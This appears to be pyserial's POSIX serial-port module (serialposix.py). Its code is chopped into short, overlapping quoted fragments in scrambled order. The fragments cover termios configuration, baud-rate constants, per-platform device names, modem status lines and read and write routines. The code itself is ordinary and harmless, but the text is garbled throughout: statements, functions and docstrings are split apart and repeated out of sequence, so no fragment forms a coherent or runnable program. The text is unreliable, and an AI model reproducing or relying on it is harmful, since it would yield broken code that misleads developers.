'/dev/cuad%d'", "mode / no echo / binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag", "checking stopbits=STOPBITS_ONE, # number of stop bits timeout=3, # set", "real device name as port parameter. def device(portum): return '/dev/ttyS%d'", "'cygwin': # cygwin/win32 (confirmed) def device(port): return '/dev/com%d' % (port", "hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1')", "is None: raise portNotOpenError t = len(data) d = data", "set_special_baudrate(port, baudrate): raise SerialException(\"sorry don't know how to handle non", "self.flushInput() def _reconfigurePort(self): \"\"\"Set communication parameters on opened port.\"\"\" if", "serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set custom divisor buf[6] =", "None self._isOpen = False def makeDeviceName(self, port): return device(port) #", "TIOCM_DTR_str) def getCTS(self): \"\"\"Read terminal status line: Clear To Send\"\"\"", "\"\"\"Read size bytes from the serial port. If a timeout", "devices, at least on Linux, show the # behavior that", "in ('ECHOCTL', 'ECHOKE'): # netbsd workaround for Erk if hasattr(TERMIOS,", "os.name, VERSION)) # no exception, just continue with a brave", "# AIX def device(port): return '/dev/tty%d' % (port) def set_special_baudrate(port,", "% vmin) cc[TERMIOS.VMIN] = vmin # vtime if vtime <", "None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0]", "raise SerialException(\"Port must be configured before it can be used.\")", "terminal status line: Ring Indicator\"\"\" if self.fd is None: raise", "support poll properly. however this one has better handling of", "TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK", "many systems def read(self, size=1): \"\"\"Read size bytes from the", "0x5427 TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK or 0x5428 class", "number of stop bits timeout=3, # set a timeout value,", "above can support arbitrary serial speeds if int(version[0]) >= 8:", "! the author of this module: sys.platform = %r os.name", "fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self): \"\"\"For easier use of the", "that provide the new I/O # library, derrive from io.RawIOBase", "string with the real device name as port parameter. def", "3000000: 0o010015, 3500000: 0o010016, 4000000: 0o010017 } elif plat ==", "speeds import array, fcntl buf = array.array('i', [baudrate]) IOSSIOSPEED =", "port.\"\"\" if self.fd is None: raise SerialException(\"Can only operate on", "# print \"\\tread(): size\",size, \"have\", len(read) #debug # wait until", "= termios if (sys.hexversion < 0x020200f0): import FCNTL else: FCNTL", "get this module running... \"\"\" % (sys.platform, os.name, VERSION)) #", "vmin) cc[TERMIOS.VMIN] = vmin # vtime if vtime < 0", "cflag &= ~(TERMIOS.CSTOPB) elif self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB)", "device disconnecting while it's in use (e.g. USB-serial unplugged)\"\"\" def", "Win32, Linux, BSD, Jython # module for serial IO for", "size: ready,_,_ = select.select([self.fd],[],[], self._timeout) # If select was used", "# number of data bits parity=PARITY_EVEN, # enable parity checking", "self.fd = None raise SerialException(\"could not open port %s: %s\"", "~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST # set serial_struct try: res =", "%s also add the device name of the serial port", "and TERMIOS.TIOCCBRK or 0x5428 class PosixSerial(SerialBase): \"\"\"Serial port class POSIX", "file, it'll fail here raise SerialException(\"Could not configure port: %s\"", "# ignore any exception when closing the port # also", "'freebsd' or \\ plat[:7] == 'openbsd': # BSD (confirmed for", "the Python version as some constants have moved. if (sys.hexversion", "to set up high speeds import array, fcntl buf =", "def getCTS(self): \"\"\"Read terminal status line: Clear To Send\"\"\" if", "timeout, that's # handled below buf = os.read(self.fd, size -", "not None and self._timeout >= 0) or (self._interCharTimeout is not", "Carrier Detect\"\"\" if self.fd is None: raise portNotOpenError s =", "= hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK = hasattr(TERMIOS,", "s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CD !=", "Request To Send\"\"\" if self.fd is None: raise portNotOpenError if", "d) if timeout: # when timeout is set, use select", "failed: %s' % (v,)) return len(data) def flush(self): \"\"\"Flush of", "the platform specifc implementation and the base # for file-like", "and not buf: break # early abort on timeout return", "~TERMIOS.PARMRK # setup baud rate try: ispeed = ospeed =", "time.time() + self._writeTimeout else: timeout = None while t >", "%r ' % vmin) cc[TERMIOS.VMIN] = vmin # vtime if", "# timeout buf = os.read(self.fd, size-len(read)) # read should always", "self._stopbits) # setup parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity ==", "|= TERMIOS.CS8 elif self._bytesize == 7: cflag |= TERMIOS.CS7 elif", "parity: %r' % self._parity) # setup flow control # xonxoff", "USB-serial unplugged)\"\"\" def read(self, size=1): \"\"\"Read size bytes from the", "this case, wait until all data is written.\"\"\" self.drainOutput() def", "= hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS,", "for non blocking\" if vmin < 0 or vmin >", "forever xonxoff=0, # enable software flow control rtscts=0, # enable", "elif plat[:3] == 'bsd' or \\ plat[:7] == 'freebsd' or", "# behavior that they are always ready to read immediately", "TWO.. there is no POSIX support for 1.5 elif self._stopbits", "%r' % baudrate) baudrate_constants = { 0: 0000000, # hang", "speeds if int(version[0]) >= 8: def set_special_baudrate(port, baudrate): # use", "and TERMIOS.FIONREAD or 0x541B TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str =", "# # (C) 2001-2010 <NAME> <<EMAIL>> # this is distributed", "# set serial_struct try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except", "license, see license.txt # # parts based on code from", "if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET,", "def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know how to handle", "None and self._timeout >= 0) or (self._interCharTimeout is not None", "may throw a SerialException if the port cannot be opened.\"\"\"", "TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial class with the", "the base # for file-like behavior. for Python 2.6 and", "= len(data) d = data if self._writeTimeout is not None", "workaround for Erk if hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS, flag)", "enable): \"\"\"manually control flow - when hardware or software flow", "s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_RI !=", "fileno(self): \"\"\"For easier use of the serial port instance with", "0 or vmin > 255: raise ValueError('Invalid vmin: %r '", "import FCNTL else: FCNTL = fcntl # try to detect", "ready to read (or something fails) for fd, event in", "device can be selected... # this code block should supply", "== 'linux': # Linux (confirmed) def device(port): return '/dev/ttyS%d' %", "current settings. This may throw a SerialException if the port", "it was # ready to read when we get to", "or 0x4000 TIOCINQ = hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD or 0x541B", "Extension for Win32, Linux, BSD, Jython # module for serial", "Erk if hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS, flag) oflag &=", "Serial port configuration is done with termios and fcntl. Runs", "&= ~TERMIOS.IUCLC if hasattr(TERMIOS, 'PARMRK'): iflag &= ~TERMIOS.PARMRK # setup", "(non-blocking operation) also abort when there # is nothing to", "576000: 0o010006, 921600: 0o010007, 1000000: 0o010010, 1152000: 0o010011, 1500000: 0o010012,", "line: Data Set Ready\"\"\" if self.fd is None: raise portNotOpenError", "until the requested number of bytes is read.\"\"\" if self.fd", "* 32) # get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set", "'/dev/dty%02d' % port def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know", "or 0x5417 TIOCMSET = hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET or 0x5418", "a device() and set_special_baudrate() function # for the platform plat", "buf[4] |= ASYNC_SPD_CUST # set serial_struct try: res = FCNTL.ioctl(port.fd,", "enable parity checking stopbits=STOPBITS_ONE, # number of stop bits timeout=3,", "# whats up with \"aix\", \"beos\", .... # they should", "TERMIOS.CS6 elif self._bytesize == 5: cflag |= TERMIOS.CS5 else: raise", "int(version[0]) >= 8: def set_special_baudrate(port, baudrate): # use IOKit-specific call", "port is nonexistent but has a /dev file, it'll fail", "output buffer, aborting the current output and discarding all that", "waiting forever xonxoff=0, # enable software flow control rtscts=0, #", "TERMIOS.TCSANOW, [iflag, oflag, cflag, lflag, ispeed, ospeed, cc]) # apply", "0o000013, 4800: 0o000014, 9600: 0o000015, 19200: 0o000016, 38400: 0o000017, 57600:", "not None: set_special_baudrate(self, custom_baud) def close(self): \"\"\"Close port\"\"\" if self._isOpen:", "port. e.g. 'first serial port: /dev/ttyS0' and with a bit", "number of characters to be read. = for non blocking\"", "port. If a timeout is set it may return less", "port def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know how to", "settings. This may throw a SerialException if the port cannot", "#_IOW('T', 2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1) else: # version", "self._parity == PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN:", "data bits parity=PARITY_EVEN, # enable parity checking stopbits=STOPBITS_ONE, # number", "if self.fd is None: raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def", "raise portNotOpenError t = len(data) d = data if self._writeTimeout", "the buffer.\"\"\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH)", "ready: break # timeout buf = os.read(self.fd, size-len(read)) # read", "the number of characters currently in the input buffer.\"\"\" #~", "on this platform\") baudrate_constants = {} elif plat[:5] == 'sunos':", "port instance with select. WARNING: this function is not portable", "of the serial port instance with select. WARNING: this function", "elif self._parity == PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB)", "device(port): return '/dev/ttyf%d' % (port+1) #XXX different device names depending", "compatible systems, like Linux # see __init__.py # # (C)", "if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCSBRK)", "AIX def device(port): return '/dev/tty%d' % (port) def set_special_baudrate(port, baudrate):", "plat[:3] == 'bsd' or \\ plat[:7] == 'freebsd' or \\", "platform\") baudrate_constants = {} #~ raise Exception, \"this module does", "binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for", "setup stopbits if self._stopbits == STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB) elif", "read. = for non blocking\" if vmin < 0 or", "level=1): \"\"\"Set terminal status line: Data Terminal Ready\"\"\" if self.fd", "'TIOCM_ST') and TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR') and", "use (e.g. USB-serial unplugged)\"\"\" def read(self, size=1): \"\"\"Read size bytes", "struct.unpack('I',s)[0] & TIOCM_DSR != 0 def getRI(self): \"\"\"Read terminal status", "Set Ready\"\"\" if self.fd is None: raise portNotOpenError s =", "based on code from <NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # #", "* # Do check the Python version as some constants", "freebsd4: cuaa%d) def device(port): return '/dev/cuad%d' % port def set_special_baudrate(port,", "buf[7] / baudrate # update flags buf[4] &= ~ASYNC_SPD_MASK buf[4]", "cflag &= ~TERMIOS.CSIZE if self._bytesize == 8: cflag |= TERMIOS.CS8", "57600: 0o010001, 115200: 0o010002, 230400: 0o010003, 460800: 0o010004, 500000: 0o010005,", "baud rate on this platform\") baudrate_constants = {} elif plat", "rate: %r' % self._baudrate) # setup char len cflag &=", "== 'irix': # IRIX (partially tested) def device(port): return '/dev/ttyf%d'", "-> thus abort read operation. # For timeout == 0", "it has chances # to work using a string with", "|= (TERMIOS.CSTOPB) # XXX same as TWO.. there is no", "assemble Serial class with the platform specifc implementation and the", "0) or (self._interCharTimeout is not None and self._interCharTimeout > 0))", "set blocking try: self._reconfigurePort() except: try: os.close(self.fd) except: # ignore", "software flow control is enabled\"\"\" if enable: termios.tcflow(self.fd, TERMIOS.TCION) else:", "To Send\"\"\" if self.fd is None: raise portNotOpenError s =", "t > 0: try: n = os.write(self.fd, d) if timeout:", "enable software flow control rtscts=0, # enable RTS/CTS flow control", "raise ValueError('Failed to set custom baud rate: %r' % baudrate)", "module does not run on this platform, sorry.\" # whats", "as v: if v.errno != errno.EAGAIN: raise SerialException('write failed: %s'", "of this module: sys.platform = %r os.name = %r serialposix.py", "# try to use values from TERMIOS, use defaults from", "0o000015, 19200: 0o000016, 38400: 0o000017, 57600: 0o010001, 115200: 0o010002, 230400:", "work, just need to know the device names. # load", "< 0: raise ValueError('Invalid baud rate: %r' % self._baudrate) #", "be configured before it can be used.\") # open try:", "portNotOpenError read = bytearray() poll = select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if", "different device names depending on flow control def set_special_baudrate(port, baudrate):", "self._interCharTimeout is not None: vmin = 1 vtime = int(self._interCharTimeout", "# also to keep original exception that happened when setting", "from io.RawIOBase try: import io except ImportError: # classic version", "= int(self._interCharTimeout * 10) try: iflag, oflag, cflag, lflag, ispeed,", "self._parity) # setup flow control # xonxoff if hasattr(TERMIOS, 'IXANY'):", "and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS", "portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1): \"\"\"Set break: Controls TXD.", "_reconfigurePort(self): \"\"\"Set communication parameters on opened port.\"\"\" if self.fd is", "int(self._baudrate) # store for later except ValueError: raise ValueError('Invalid baud", "not all systems support poll properly. however this one has", "elif self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) # XXX same", "settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag, cflag, lflag, ispeed, ospeed, cc])", "timeout is set it may return less characters as requested.", "struct.unpack('I',s)[0] # select based implementation, proved to work on many", "= 0x0030 def set_special_baudrate(port, baudrate): import array buf = array.array('i',", "self.fd is None: raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self):", "read (or something fails) for fd, event in poll.poll(self._timeout*1000): if", "#~ raise ValueError('Invalid baud rate: %r' % self._baudrate) # may", "reports readiness to read but returned no data (device disconnected?)')", "raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK) def", "# to work using a string with the real device", "self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS) else: cflag &= ~(TERMIOS.CNEW_RTSCTS) # XXX", "os.name = %r serialposix.py version = %s also add the", "ready, _ = select.select([], [self.fd], [], timeleft) if not ready:", "hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag", "t = t - n except OSError as v: if", "6: cflag |= TERMIOS.CS6 elif self._bytesize == 5: cflag |=", "level=1): \"\"\"Set terminal status line: Request To Send\"\"\" if self.fd", "cc = termios.tcgetattr(self.fd) except termios.error as msg: # if a", "this module: sys.platform = %r os.name = %r serialposix.py version", "(TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff: iflag", "or 0x5415 TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS or 0x5416", "0o000002, 110: 0o000003, 134: 0o000004, 150: 0o000005, 200: 0o000006, 300:", "setRTS(self, level=1): \"\"\"Set terminal status line: Request To Send\"\"\" if", "termios.error as msg: # if a port is nonexistent but", "on a valid file descriptor\") custom_baud = None vmin =", "on Linux, show the # behavior that they are always", "# version < 8 def set_special_baudrate(port, baudrate): raise ValueError(\"baud rate", "\"\"\"Close port\"\"\" if self._isOpen: if self.fd is not None: os.close(self.fd)", "ispeed, ospeed, cc = termios.tcgetattr(self.fd) except termios.error as msg: #", "= hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS = hasattr(TERMIOS,", "if enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial", "# buffer # vmin \"minimal number of characters to be", "there # is nothing to read. if not ready: break", "flow control is enabled\"\"\" if enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd,", "TIOCM_CTS != 0 def getDSR(self): \"\"\"Read terminal status line: Data", "here raise SerialException(\"Could not configure port: %s\" % msg) #", "sys.platform.lower() if plat[:5] == 'linux': # Linux (confirmed) def device(port):", "from the serial port. If a timeout is set it", "sys, os, fcntl, termios, struct, select, errno, time from .serialutil", "based read implementation. not all systems support poll properly. however", "os.close(self.fd) self.fd = None self._isOpen = False def makeDeviceName(self, port):", "baud rate try: ispeed = ospeed = getattr(TERMIOS, 'B%s' %", "= {} elif plat[:5] == 'sunos': # Solaris/SunOS (confirmed) def", "#!/usr/bin/env python # # Python Serial Port Extension for Win32,", "# ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl,", "rtscts (and xonxoff etc) fails?? # buffer # vmin \"minimal", "platform plat = sys.platform.lower() if plat[:5] == 'linux': # Linux", "= for non blocking\" if vmin < 0 or vmin", "class PosixSerial(SerialBase): \"\"\"Serial port class POSIX implementation. Serial port configuration", "'TIOCMSET') and TERMIOS.TIOCMSET or 0x5418 #TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE') and", "names. # load some constants for later use. # try", "fcntl # try to detect the OS so that a", "= hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC or 0x5417 TIOCMSET = hasattr(TERMIOS,", "isn't in our list. ispeed = ospeed = getattr(TERMIOS, 'B38400')", "except IOError: raise ValueError('Failed to set custom baud rate: %r'", "the counting starts for the first serial port. e.g. 'first", "&= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'): iflag &=", "baud rate: %r' % self._baudrate) # may need custom baud", "ValueError('Invalid char len: %r' % self._bytesize) # setup stopbits if", "Send\"\"\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd,", "ispeed = ospeed = getattr(TERMIOS, 'B%s' % (self._baudrate)) except AttributeError:", "iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else:", "cflag, lflag, ispeed, ospeed, cc]) # apply custom baud rate,", "on this platform\") baudrate_constants = {} elif plat == 'openbsd3':", "&= ~TERMIOS.PARMRK # setup baud rate try: ispeed = ospeed", "hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR')", "1200: 0o000011, 1800: 0o000012, 2400: 0o000013, 4800: 0o000014, 9600: 0o000015,", "condition. Timed, returns to idle state after given duration.\"\"\" if", "is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self): \"\"\"Clear output", "class with the platform specifc implementation and the base #", "#~ fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0) # set blocking try: self._reconfigurePort() except:", "raise portNotOpenError termios.tcdrain(self.fd) def nonblocking(self): \"\"\"internal - not portable!\"\"\" if", "library present class Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial): \"\"\"poll based", "port configuration is done with termios and fcntl. Runs on", "~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif self._parity == PARITY_ODD: cflag |=", "None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1): \"\"\"Set break:", "# vtime if vtime < 0 or vtime > 255:", "== 6: cflag |= TERMIOS.CS6 elif self._bytesize == 5: cflag", "None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25): \"\"\"Send break", "can be selected... # this code block should supply a", "(confirmed) def device(port): return '/dev/com%d' % (port + 1) def", "bit luck you can get this module running... \"\"\" %", "on timeout return bytes(read) if __name__ == '__main__': s =", "= hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD or 0x541B TIOCM_zero_str = struct.pack('I',", "'/dev/tty%d' % (port) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know", "file-like emulation class Serial(PosixSerial, FileLike): pass else: # io library", "setup char len cflag &= ~TERMIOS.CSIZE if self._bytesize == 8:", "to keep original exception that happened when setting up pass", "|= TERMIOS.CS5 else: raise ValueError('Invalid char len: %r' % self._bytesize)", "# ready to read when we get to this point.", "# baud rate bytesize=EIGHTBITS, # number of data bits parity=PARITY_EVEN,", "control ) s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello') sys.stdout.write('%r\\n' % s.read(5))", "is possible.\"\"\" if self.fd is None: raise portNotOpenError if level:", "open(self): \"\"\"Open port with current settings. This may throw a", "baud rate on this platform\") baudrate_constants = {} #~ raise", "the port cannot be opened.\"\"\" self.fd = None if self._port", "this platform\") baudrate_constants = {} elif plat[:5] == 'sunos': #", "hasattr(TERMIOS, 'PARMRK'): iflag &= ~TERMIOS.PARMRK # setup baud rate try:", "= None raise else: self._isOpen = True #~ self.flushInput() def", "(C) 2001-2010 <NAME> <<EMAIL>> # this is distributed under a", "FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set custom divisor buf[6] = buf[7]", "the author of this module: sys.platform = %r os.name =", "= os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg: self.fd = None", "python # # Python Serial Port Extension for Win32, Linux,", "' % vmin) cc[TERMIOS.VMIN] = vmin # vtime if vtime", "0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR", "this platform\") baudrate_constants = {} elif plat[:2] == 'hp': #", "break condition. Timed, returns to idle state after given duration.\"\"\"", "(or something fails) for fd, event in poll.poll(self._timeout*1000): if event", "the real device name as port parameter. def device(portum): return", "as msg: # if a port is nonexistent but has", "None: vmin = 1 vtime = int(self._interCharTimeout * 10) try:", "this module running... \"\"\" % (sys.platform, os.name, VERSION)) # no", "(e.g. USB-serial unplugged)\"\"\" def read(self, size=1): \"\"\"Read size bytes from", "else: timeout = None while t > 0: try: n", "Data Set Ready\"\"\" if self.fd is None: raise portNotOpenError s", "reports error (poll)') # we don't care if it is", "self.fd is None: raise portNotOpenError termios.tcdrain(self.fd) def nonblocking(self): \"\"\"internal -", "under a free software license, see license.txt # # parts", "platform detection has failed... sys.stderr.write(\"\"\"\\ don't know how to number", "read = bytearray() poll = select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size", "Clear To Send\"\"\" if self.fd is None: raise portNotOpenError s", "hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS')", "Linux and many other Un*x like systems.\"\"\" def open(self): \"\"\"Open", "set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know how to handle non", "or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000", "below buf = os.read(self.fd, size - len(read)) read.extend(buf) if ((self._timeout", "flag) oflag &= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'):", "def device(port): return '/dev/dty%02d' % port def set_special_baudrate(port, baudrate): raise", "TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or", "sys.platform = %r os.name = %r serialposix.py version = %s", "~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts: cflag |=", "raw mode / no echo / binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD)", "set, use select to wait for being ready # with", "300: 0o000007, 600: 0o000010, 1200: 0o000011, 1800: 0o000012, 2400: 0o000013,", "get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set custom divisor buf[6]", "'TIOCM_DSR') and TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and", "try: ispeed = ospeed = baudrate_constants[self._baudrate] except KeyError: #~ raise", "rate not supported\") def device(port): return '/dev/cuad%d' % port baudrate_constants", "operation. # For timeout == 0 (non-blocking operation) also abort", "ready to read immediately # but reading returns nothing. raise", "* 10) try: iflag, oflag, cflag, lflag, ispeed, ospeed, cc", "size: # print \"\\tread(): size\",size, \"have\", len(read) #debug # wait", "= select.select([], [self.fd], [], timeleft) if not ready: raise writeTimeoutError", "KeyError: #~ raise ValueError('Invalid baud rate: %r' % self._baudrate) #", "# Linux (confirmed) def device(port): return '/dev/ttyS%d' % port ASYNC_SPD_MASK", "0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ", "(self._port, msg)) #~ fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0) # set blocking try:", "lflag, ispeed, ospeed, cc]) # apply custom baud rate, if", "'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS') and", "# even if the device name is not correct for", "[0] * 32) # get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) #", "self._stopbits == STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB) else: raise ValueError('Invalid stop", "tested) def device(port): return '/dev/ttyf%d' % (port+1) #XXX different device", "is set, use select to wait for being ready #", "also add the device name of the serial port and", "< size: ready,_,_ = select.select([self.fd],[],[], self._timeout) # If select was", "def device(port): return '/dev/cuad%d' % port baudrate_constants = {} elif", "buf) except IOError: raise ValueError('Failed to set custom baud rate:", "'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and", "& TIOCM_DSR != 0 def getRI(self): \"\"\"Read terminal status line:", "= None while t > 0: try: n = os.write(self.fd,", "will block until the requested number of bytes is read.\"\"\"", "return self.fd def flowControl(self, enable): \"\"\"manually control flow - when", "add the device name of the serial port and where", "not buf: break # early abort on timeout return bytes(read)", "return '/dev/tty%d' % (port) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't", "None: raise portNotOpenError read = bytearray() poll = select.poll() poll.register(self.fd,", "the first serial port. e.g. 'first serial port: /dev/ttyS0' and", "struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR)", "if self._bytesize == 8: cflag |= TERMIOS.CS8 elif self._bytesize ==", "= hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS = hasattr(TERMIOS,", "plat == 'openbsd3': # BSD (confirmed) def device(port): return '/dev/ttyp%d'", "#|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff: iflag |=", "'/dev/com%d' % (port + 1) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry", "~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS,", "|= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag in", "size\",size, \"have\", len(read) #debug # wait until device becomes ready", "port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port, baudrate):", "while len(read) < size: ready,_,_ = select.select([self.fd],[],[], self._timeout) # If", "9600: 0o000015, 19200: 0o000016, 38400: 0o000017, 57600: 0o010001, 115200: 0o010002,", "def set_special_baudrate(port, baudrate): raise ValueError(\"baud rate not supported\") def device(port):", "string over the serial port.\"\"\" if self.fd is None: raise", "#TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR =", "[], timeleft) if not ready: raise writeTimeoutError d = d[n:]", "properly. however this one has better handling of errors, such", "- len(read)) read.extend(buf) if ((self._timeout is not None and self._timeout", "getattr(TERMIOS, 'B%s' % (self._baudrate)) except AttributeError: try: ispeed = ospeed", "keep original exception that happened when setting up pass self.fd", "in our list. ispeed = 